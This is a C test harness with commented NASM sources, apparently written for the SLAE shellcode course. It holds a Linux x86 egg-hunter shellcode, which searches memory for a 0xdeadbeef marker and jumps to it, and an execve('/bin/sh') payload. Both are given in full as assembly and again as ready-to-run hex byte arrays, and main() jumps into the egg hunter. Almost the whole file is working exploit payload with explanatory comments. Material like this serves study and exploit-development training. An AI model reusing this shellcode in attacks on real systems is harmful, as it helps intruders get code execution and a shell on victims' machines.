/* ; Filename: egghunter.nasm ; Author: Paolo Perego ; Website: https://codiceinsicuro.it ; Blog post: https://codiceinsicuro.it/slae/ ; Twitter: @thesp0nge ; SLAE-ID: 1217 ; Purpose: This is the first stage of our payload. An egg-hunter shellcode ; looping through memory and jumping on the payload after the ; second egg found in memory. global _start section .text _start: xor ecx, ecx mul ecx next_page: or dx, 0xfff next_addr: ; EDX is 4096 here, that is the value of PAGE_SIZE constant inc edx ; EBX is our memory cursor lea ebx, [edx+0x4] xor eax, eax ; access is defined as #define __NR_acces 33 in ; /usr/include/i386-linux-gnu/asm/unistd_32.h: ; ; system call prototype is: ; int access(const char *pathname, int mode); mov al, 0x21 int 0x80 cmp al, 0xf2 ; 0xf2 is the opcode for EFAULT. If my register ; has this value, a signal for a invalid page ; access it has been received jz next_page mov eax, key mov edi, edx scasd jnz next_addr scasd jnz next_addr ; At this point we are at the very beginning of our shellcode, after ; the second key. We can jump to it jmp edi section .data key equ 0xdeadbeef ; Filename: execve.nasm ; Author: Paolo Perego ; Website: https://codiceinsicuro.it ; Blog post: https://codiceinsicuro.it/slae/ ; Twitter: @thesp0nge ; SLAE-ID: 1217 ; Purpose: This is the default payload for the egg hunter demo. It will ; execute "/bin/sh" using execve() system call. global _start dd 0xdeadbeef dd 0xdeadbeef section .text _start: xor eax, eax ; init EAX to 0 push eax ; pushing 0 to the stack to be used as NULL pointer ; execve is defined as #define __NR_execve 11 in ; /usr/include/i386-linux-gnu/asm/unistd_32.h: ; ; system call prototype is: ; int execve(const char *filename, char *const argv[], char *const envp[]); push 0x68732f2f ; pushing //bin/sh into the stack push 0x6e69622f ; the init double / is for alignment purpose mov ebx, esp ; pointer to *filename push eax ; pushing in the stack a pointer to NULL mov edx, esp ; I don't care about environment here push eax mov ecx, esp ; I don't even care about passing arguments to ; my /bin/sh mov al, 0xb ; execve = 11 int 0x80 */ #include #include unsigned char egg_hunter[] = \ "\x31\xc9\xf7\xe1\x66\x81\xca\xff\x0f\x42\x8d\x5a\x04\x31\xc0\xb0\x21\xcd\x80\x3c\xf2\x74\xed\xb8\xef\xbe\xad\xde\x89\xd7\xaf\x75\xe8\xaf\x75\xe5\xff\xe7"; unsigned char code[] = \ "\xef\xbe\xad\xde\xef\xbe\xad\xde\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x50\x89\xe1\xb0\x0b\xcd\x80"; int main(int argc, char **argv) { printf("Shellcode Length: %d\n", strlen(code)); printf("Egghunter Length: %d\n", strlen(egg_hunter)); int (*ret)() = (int(*)())egg_hunter; ret(); } -- $ cd /pub $ more beer I pirati della sicurezza applicativa: https://codiceinsicuro.it